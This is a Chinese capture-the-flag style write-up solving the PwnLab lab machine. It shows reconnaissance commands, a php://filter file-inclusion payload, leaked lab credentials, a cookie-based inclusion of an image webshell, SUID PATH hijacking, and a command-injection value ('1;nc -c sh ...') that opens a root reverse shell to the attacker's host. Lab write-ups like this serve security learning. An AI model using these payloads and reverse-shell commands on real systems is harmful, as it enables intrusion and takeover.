PwnLab
今天最后一个靶场,ヾ(◍°∇°◍)ノ゙
信息收集
首先是拿到对面主机的ip地址
nmap 192.168.100.0/24 -n -sP -sn
192.168.100.169
扫端口
nmap -A 192.168.100.169
80,111,3306,
扫目录
dirb http://192.168.100.169/
扫指纹
whatweb http://192.168.100.169/
漏洞检测
没有cms,没有注释,扫目录没扫到,没有注入(至少我没有测试出来)。
那就只有把目光投向唯一的url了,随便加了个单引号发现图片挂了,sql测试了无报错,随后想到了是文件包含漏洞。
百度了一个payloadhttp://192.168.100.169/?page=php://filter/read=convert.base64-encode/resource=index
利用伪协议读取文件
最后通过阅读index追溯到-login-config
root
H4u%QJ_H99
Users
不得不怀疑是mysql的那个东西
漏洞利用
这里我们尝试使用伪协议写入一句话木马
失败
那还是直接上mysql看看吧
mysql -u root -p -h 192.168.100.169
解密一下这些账号
kent JWzXuBJJNy
mike SIfdsTEn6I
kane iSv5Ym2GRo
用这些账号登录一下试一下
可以上传文件,并且只能传图片,没有解析漏洞,%00,00截断无用。肚子里没水了,只有求助攻略。
攻略中查看index的源码发现有这么一行
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
如果cookie中设置了lang,就将其包含进来,那我们就包含我们的图片马就可以了,图片马设置一个执行反弹shell的命令。
然后在cookie中设置lang字段来进行文件包含操作
成功获取反弹shell
提权
话说不是有个root的mysql吗,尝试udf提权。
未果
# 利用Escalate_Linux靶机学习11种linux提权 | 十三の博客 (wanheiqiyihu.top)
首先通过python -c 'import pty; pty.spawn("/bin/bash")'
建立一个tty
利用我以前这片文章的思路,进行提权操作。
然后尝试登录上面的账户
当进入kane账户的时候,通过find / -perm -u=s -type f 2>/dev/null
发现具有suid的文件中有这么个东西
执行发现是执行的cat命令
通过环境变量劫持来进行一个提权
cd /home/kane
ls
./msgmike
echo $PATH
cd ../../../../../../
echo "/bin/bash" > tmp/cat
export PATH=/tmp:$PATH
echo $PATH
chmod 755 /tmp/cat
cd /hone/kane
./msgmike
执行之后发现用户已经变成了mike
又用find / -perm -u=s -type f 2>/dev/null
发现这么个东西
执行之后发现是给root用户发信息的一个东西
最后还是看了下攻略,都没解释原理,不过原理也很好推测,就是一个命令执行,加了一个分号之后多加了一条命令,直接弹一个root权限的账户回来。
1;nc -c sh 192.168.100.129 6667
总结
最后那个;绕过的提权确实没想到,只能说是情理之中意料之外的吧,要是没有攻略,我可能还是打不到最后一步。还有就是,要善于总结信息,很多漏洞就是从各种信息中分析出来的。最后要是是那种受限的shell,记得弄一个tty。
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。